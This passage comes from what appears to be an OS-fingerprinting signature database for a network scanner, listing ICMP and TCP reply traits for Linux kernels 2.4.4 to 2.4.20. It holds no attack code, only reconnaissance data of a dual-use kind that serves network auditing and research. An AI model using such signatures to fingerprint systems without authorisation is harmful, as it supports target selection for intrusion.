} fingerprint { OS_ID = "Linux Kernel 2.4.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.19" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <64 } fingerprint { OS_ID = "Linux Kernel 2.4.18" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.17" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.16" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.15" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.14" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.13" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.12" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.11" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.10" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.9" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.8" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 08 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.7" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.6" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.5" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.4 (I)" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 15 February 2005 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 